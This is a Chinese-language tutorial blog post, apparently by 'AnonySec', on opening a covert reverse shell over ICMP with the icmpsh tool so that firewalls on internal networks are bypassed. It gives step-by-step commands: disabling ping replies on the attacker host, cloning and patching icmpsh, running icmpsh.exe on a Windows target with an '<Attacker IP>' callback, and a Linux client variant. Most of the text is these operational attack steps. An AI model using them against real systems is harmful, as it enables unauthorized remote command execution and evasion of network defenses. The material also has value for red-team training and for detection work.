君子藏器于身待时而动,安全不露圭角覆盂之安。
——AnonySec
前言
内网中的大多数系统都位于防火墙或其他安全设备之后,以便控制入口以及出口流量。防火墙可以拦截到反连的shell,但ICMP协议基本上是不拦截的。因此,为了获得shell并在目标主机上执行命令,可以使用ICMP协议作为隐藏通道进行连接。
实例讲解
服务端
禁ping必须开启,才能正常通过ICMP反弹Shell。
1 | sysctl -w net.ipv4.icmp_echo_ignore_all=1 |
起初运行 run.sh会报错,是因为run.sh
未把本地IP提取出来。(run.sh
里调用的是icmpsh_m.py
)
1 | git clone https://github.com/inquisb/icmpsh.git |

这里改下就好了,将
1 | IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1) |
改成
1 | IP=$(ifconfig | grep 'inet '| grep -v '127.0.0.1' | awk '{ print $2}') |

成功运行run.sh,开启本地监听。

客户端
Windows
将icmpsh.exe
传到目标机中,执行上述命令。
1 | icmpsh.exe -t <Attacker IP> -d 500 -b 30 -s 128 |

攻击机成功接收到反弹会话,并且也可以通过这个管道来执行系统命令。

通过wireshark抓包分析,攻击机与目标机通信过程中均是由ICMP协议进行数据包传输的。

Linux
该版本的liunx客户端是在icmpsh
项目上进行改动的,但也是与icmpsh_m.py
结合使用。
执行前要保证是root权限,或者 net.ipv4.ping_group_range /proc/sys/
允许在其他用户上运行。
1 | git clone https://github.com/ewilded/icmpsh-s-linux.git |
攻击机运行如下命令:
1 | python icmpsh_m.py <Attacker IP> <Target IP> |

总结
此Shell,是通过ICMP来进行请求/响应。这也是唯一与目标机通信的方式。当退出shell时,会重新启用ICMP响应,如果禁用则会继续。